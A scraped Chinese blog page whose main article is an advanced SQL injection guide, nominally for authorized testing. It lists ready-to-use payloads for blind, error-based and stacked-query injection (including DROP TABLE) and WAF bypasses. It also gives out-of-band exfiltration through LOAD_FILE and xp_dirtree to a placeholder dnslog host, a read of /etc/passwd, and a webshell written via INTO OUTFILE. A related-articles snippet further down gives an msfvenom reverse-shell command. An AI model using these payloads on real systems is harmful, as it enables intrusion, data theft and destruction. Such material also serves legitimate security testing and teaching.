当前位置: 首页 > article >正文

实战级SQL注入测试技巧揭秘

目录一、高阶注入判断技巧不爆数据只测漏洞1. 布尔盲注Boolean-based2. 时间盲注Time-based3. 报错注入Error-based二、高阶利用手法实战渗透常用1. 堆叠查询Stacked Queries2. 宽字节注入绕过转义3. 绕过 WAF / 过滤 的高级写法大小写变形注释穿插字符串编码等价函数替换空格绕过4. 二阶注入Second-Order SQLi5. 外带数据DNSLOG / HTTP 外带6. 读写文件三、针对不同数据库的专属高级注入MySQLSQL ServerPostgreSQLOracle四、接口测试中最实用的高阶组合流程下面给你整理一套更高级、实战化、但依然合规仅用于授权自检的 SQL 注入测试思路适合接口渗透、黑盒测试场景。我会尽量讲得实用、可直接上手不搞花里胡哨的理论。一、高阶注入判断技巧不爆数据只测漏洞1. 布尔盲注Boolean-based适用于不返回报错、不返回数据但页面内容会变。测试思路id1 AND 11-- - 页面正常 id1 AND 12-- - 页面异常/无数据两次结果不一样 →存在布尔盲注。进阶 payload AND (SELECT 1 FROM DUAL WHERE 11)-- AND (LENGTH(DATABASE())5)--2. 时间盲注Time-based适用于页面完全没变化连布尔差异都没有。核心让数据库 sleep看接口延迟。 AND SLEEP(5)-- AND IF(11,SLEEP(5),0)-- AND BENCHMARK(1000000,MD5(1))-- AND PG_SLEEP(5)-- PostgreSQL AND WAITFOR DELAY 0:0:5-- SQL Server如果接口明显延迟 5 秒→ 100% 存在注入。3. 报错注入Error-based不查数据只通过强制报错判断注入点。常用 AND UPDATEXML(1,CONCAT(0x7e,(SELECT 1)),1)-- AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT 1)))-- AND FLOOR(RAND(0)*2)-- group by 报错只要返回 XPath 语法错误等 → 存在注入。二、高阶利用手法实战渗透常用1. 堆叠查询Stacked Queries支持多语句执行时; SELECT * FROM user;-- ; DROP TABLE test;-- 严禁非法使用常见于SQL Server / PostgreSQL。2. 宽字节注入绕过转义针对 PHP MySQL 宽字符集GBK%df OR 11--原理%df\被解析成運单引号逃逸成功。3. 绕过 WAF / 过滤 的高级写法很多接口有防护普通 payload 会被拦可以用这些变形大小写变形 Or 11-- oR 11--注释穿插 UN/**/ION SEL/**/ECT--字符串编码 UNION SELECT CHAR(97,100,109,105,110)--等价函数替换AND 11 → AND 2-11 → AND 32 → AND MID(VERSION(),1,1)5空格绕过%09、%0a、%0b、%0d、%a0、//、--例UNION%0aSELECT%0a1,2,3--4. 二阶注入Second-Order SQLi高级玩法存储型注入注册用户名admin后台查询时直接拼接触发点在另一个接口这类漏洞非常隐蔽普通扫描扫不出来。5. 外带数据DNSLOG / HTTP 外带MySQL 高权限可读取数据外带 AND LOAD_FILE(CONCAT(\\\\,(SELECT database()),.xxx.dnslog.cn\\test))--适用于完全盲注、无法回显的场景。SQL Server; EXEC master..xp_dirtree \\xxx.dnslog.cn\test;--6. 读写文件MySQL 权限足够时 UNION SELECT LOAD_FILE(/etc/passwd)-- INTO OUTFILE /var/www/html/shell.php--三、针对不同数据库的专属高级注入MySQL报错注入UPDATEXML、EXTRACTVALUE时间盲注SLEEP()读文件LOAD_FILESQL Server堆叠查询WAITFOR DELAYxp_cmdshell命令执行报错FORMATMESSAGEPostgreSQLPG_SLEEP(5)复制文件COPY任意语句执行Oracle报错CTX_REPORT盲注DBMS_LOCK.SLEEP联合查询限制多需要绕ROWNUM四、接口测试中最实用的高阶组合流程你做接口测试可以按这个顺序加单引号看是否报错布尔测试AND 11 / 12时间测试SLEEP(5)报错注入看能否触发尝试 WAF 绕过尝试二阶注入点

相关文章:

实战级SQL注入测试技巧揭秘

目录 一、高阶注入判断技巧(不爆数据,只测漏洞) 1. 布尔盲注(Boolean-based) 2. 时间盲注(Time-based) 3. 报错注入(Error-based) 二、高阶利用手法(实战…...

在给ppt接入扣子空间(Ai)/智能体,新玩法10分钟搞定说课,公开课AI互动!

做 PPT 时,你是否遇到过这些痛点:演讲中观众突然提问,临时组织语言容易逻辑混乱;同一问题被反复询问,浪费演示时间;静态页面无法按需补充细节,信息传递不精准。而扣子空间(Coze&…...

kali制作木马

黑客必备工具:Metasploit Framework(MSF)1. 生成木马程序: > msfvenom -p linux/x64/shell/reverse_tcp LHOST攻击机ip(Kali) LPORT9999 -f elf -o shell.elf2. 启动控制程序: > msfconsole > use exploit/mu…...

C++ 无原生 JSON 支持?一文实现通用序列化与反序列化封装方案

前言 在现代软件开发中,JSON(JavaScript Object Notation)因其轻量级和易读性成为数据交换的主流格式。C虽无原生JSON支持,但通过封装第三方库(如nlohmann/json),可高效实现序列化(…...

华硕笔记本性能困境突破:G-Helper工具的全方位优化方案

华硕笔记本性能困境突破:G-Helper工具的全方位优化方案 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other models 项目地…...

30分钟零基础入门:DJI Cloud API Demo实现无人机云平台集成的完整指南

30分钟零基础入门:DJI Cloud API Demo实现无人机云平台集成的完整指南 【免费下载链接】DJI-Cloud-API-Demo 项目地址: https://gitcode.com/gh_mirrors/dj/DJI-Cloud-API-Demo DJI Cloud API Demo是一个开源项目,主要功能是帮助开发者快速实现无…...

DMG2IMG终极指南:3分钟掌握苹果DMG文件跨平台转换技巧

DMG2IMG终极指南:3分钟掌握苹果DMG文件跨平台转换技巧 【免费下载链接】dmg2img DMG2IMG allows you to convert a (compressed) Apple Disk Images (imported from http://vu1tur.eu.org/dmg2img). Note: the master branch contains imported code, but lacks bug…...

破解AutoDock Vina金属对接难题:3种专业方案实战深度解析

破解AutoDock Vina金属对接难题:3种专业方案实战深度解析 【免费下载链接】AutoDock-Vina AutoDock Vina 项目地址: https://gitcode.com/gh_mirrors/au/AutoDock-Vina AutoDock Vina作为最广泛使用的开源分子对接引擎之一,在处理含金属元素的蛋白…...

自动驾驶之心实习生招募|上海线下,一起做点真东西

点击下方卡片,关注“自动驾驶之心”公众号 戳我-> 领取自动驾驶近30个方向学习路线 自动驾驶之心是业内头部的垂类自媒体平台,过去一年,我们梳理了端到端、VLA、世界模型、强化学习等前沿方向的最新进展,也分享了行业概况、融资…...

避坑指南:SpringBoot调用DeepSeek API时你可能会遇到的5个问题及解决方案

SpringBoot集成DeepSeek API的5个典型避坑指南 在将DeepSeek的对话补全能力整合到SpringBoot应用时,不少开发者会遇到一些看似简单却容易踩坑的问题。这些问题往往不会在官方文档中被特别强调,但却能让你在调试过程中耗费数小时。本文将聚焦五个最具代表…...

别再只用交叉熵了!医疗AI中疾病分级任务,试试PyTorch实现这个序数回归损失函数

医疗AI中的序数回归:超越交叉熵的疾病分级新范式 在医疗人工智能领域,我们经常遇到需要预测疾病严重程度分级的任务——从轻度到中度再到重度,这些类别之间存在明确的递进关系。传统做法是直接套用交叉熵损失函数,但这就像用尺子测…...

S32DS隐藏技巧:用FTM定时器实现精准延时(替代低效for循环)

S32DS隐藏技巧:用FTM定时器实现精准延时(替代低效for循环) 在嵌入式开发中,延时功能几乎是每个项目都无法绕开的基础需求。从简单的LED闪烁到复杂的通信协议时序控制,精准的延时控制直接影响着系统的稳定性和响应速度。…...

Go语言依赖管理:从GOPATH到Go Modules

Go语言依赖管理:从GOPATH到Go Modules 作为一个写了十几年代码的Go后端老兵,我经历了Go语言依赖管理的从GOPATH到Go Modules的转变,踩了不少坑。今天就来分享一下Go语言依赖管理的实践经验。 一、依赖管理的演进 1. GOPATH时代 在Go 1.11之前…...

【综述型文章】人工智能驱动的生物医学多模态数据融合与分析中的挑战

论文总结1、作者总结了挑战:1)数据的挑战-meta元学习和transfering learning迁移学习;2)生物医学模型的可解释性--基于网络结构的可解释性(将通路先验信息等加入到网络结构中,约束网络学习参数)…...

从零到一:在本地CentOS环境完整部署yshop-drink扫码点餐系统的实战指南

1. 环境准备:从零搭建CentOS基础系统 第一次在本地部署yshop-drink扫码点餐系统时,我选择了CentOS 7.9作为基础环境。这个版本既稳定又兼容大多数现代软件包,特别适合作为生产环境使用。建议直接使用阿里云镜像站下载Minimal版本ISO文件&…...

家里装了 OpenClaw,在公司也能随时管理——Shield CLI 远程访问方案

家里装了 OpenClaw,在公司也能随时管理 OpenClaw 火到不用介绍了——GitHub 25 万 Star,一个能真正帮你干活的 AI Agent。很多人装在家里的 Windows 电脑上,配好了 API Key 和各种插件,用着很爽。但一到公司或者出门在外&#xff…...

# Trae IDE `settings.json` 配置详解与教学文档

Trae IDE settings.json 配置详解与教学文档 一、文档说明 本文档针对 Trae IDE 中 Java 开发核心配置文件 settings.json 进行逐字段解读,结合实际开发场景说明配置目的、作用及最佳实践,适配 Spring Boot + Maven + JDK21 技术栈。 二、配置文件整体作用 settings.json…...

Java 核心四大基石:从 Object 源码到包装类陷阱的全维度复盘

让我们从两个常见的实际场景出发,看看开发者会遇到什么困惑。 场景一:如何在程序中获取“当前时间”? 你一定见过这样的界面: 直播画面右上角显示:2026 年 01 月 08 日 15:00:00(实时更新) 这个…...

如何在3分钟内为Axure RP配置中文界面:终极汉化指南

如何在3分钟内为Axure RP配置中文界面:终极汉化指南 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包,不定期更新。支持 Axure 9、Axure 10。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 你是…...

Proxmox VE虚拟化实战:如何给MikroTik RouterOS配置PCI直通网卡(ROS 6.44.2实测)

Proxmox VE虚拟化实战:MikroTik RouterOS PCI直通网卡性能优化指南 在虚拟化环境中部署网络设备时,性能损耗一直是困扰技术人员的核心问题。当我们需要在Proxmox VE上运行MikroTik RouterOS作为软路由时,传统的virtio虚拟网卡方案往往无法满足…...

3大核心功能让你轻松掌握League-Toolkit英雄联盟辅助工具

3大核心功能让你轻松掌握League-Toolkit英雄联盟辅助工具 【免费下载链接】League-Toolkit 兴趣使然的、简单易用的英雄联盟工具集。支持战绩查询、自动秒选等功能。基于 LCU API。 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit League-Toolkit是一款基…...

SpringBoot WebSocket 客户端断线重连:从心跳检测到优雅恢复

1. WebSocket与实时通信的挑战 想象一下你正在玩一款多人在线游戏,突然网络卡顿导致角色掉线,重新登录后发现之前的战斗进度全部丢失——这种糟糕体验正是WebSocket重连机制要解决的问题。WebSocket作为HTTP的"升级版",确实解决了服…...

SecGPT-14B实操手册:Gradio界面中temperature=0.3对安全答案确定性的影响

SecGPT-14B实操手册:Gradio界面中temperature0.3对安全答案确定性的影响 1. 引言:为什么安全问答需要“确定性”? 想象一下,你正在向一位网络安全专家咨询一个紧急的安全漏洞问题。你希望得到的回答是清晰、准确、且唯一的正确答…...

从零开始学流程图:GESP C++二级考试中的三种基本结构详解

从零开始学流程图:GESP C二级考试中的三种基本结构详解 在编程学习的道路上,流程图就像是一张清晰的地图,能够帮助初学者直观地理解程序运行的逻辑路径。特别是对于准备GESP C二级考试的考生来说,掌握流程图的绘制和解读技巧&…...

ESP32 IDF环境下DHT11温湿度读取避坑指南:从时序图到数据拼接的完整解析

ESP32 IDF环境下DHT11温湿度读取避坑指南:从时序图到数据拼接的完整解析 在物联网设备开发中,温湿度传感器是最基础也最常用的环境感知元件之一。DHT11作为一款低成本、单总线数字输出的温湿度传感器,被广泛应用于各类嵌入式项目中。然而&…...

Path of Building完全指南:精准规划角色构筑3步法+高效配置策略

Path of Building完全指南:精准规划角色构筑3步法高效配置策略 【免费下载链接】PathOfBuilding Offline build planner for Path of Exile. 项目地址: https://gitcode.com/gh_mirrors/pat/PathOfBuilding Path of Building是一款强大的离线工具&#xff0c…...

Mermaid CLI:从文本到图表的自动化解决方案

Mermaid CLI:从文本到图表的自动化解决方案 【免费下载链接】mermaid-cli Command line tool for the Mermaid library 项目地址: https://gitcode.com/gh_mirrors/me/mermaid-cli 引言:技术文档中的图表困境 在软件开发过程中,技术文…...

Android10音频系统实战:如何自定义音量曲线(附default_volume_tables.xml修改指南)

Android 10音频系统深度定制:音量曲线调优实战手册 在移动设备音频体验的精细打磨中,音量曲线的定制往往是最容易被忽视却至关重要的环节。作为一名长期从事Android系统定制的开发者,我曾为多款旗舰设备调整过音频参数,发现原厂音…...

企业级Java SMB客户端:jcifs-ng深度架构解析与实战指南

企业级Java SMB客户端:jcifs-ng深度架构解析与实战指南 【免费下载链接】jcifs-ng A cleaned-up and improved version of the jCIFS library 项目地址: https://gitcode.com/gh_mirrors/jc/jcifs-ng jcifs-ng是一个经过彻底重构和优化的Java SMB客户端库&am…...

【开题答辩全过程】以 基于大数据的智能推送系统设计与实现为例,包含答辩的问题和答案

个人简介一名14年经验的资深毕设内行人,语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…...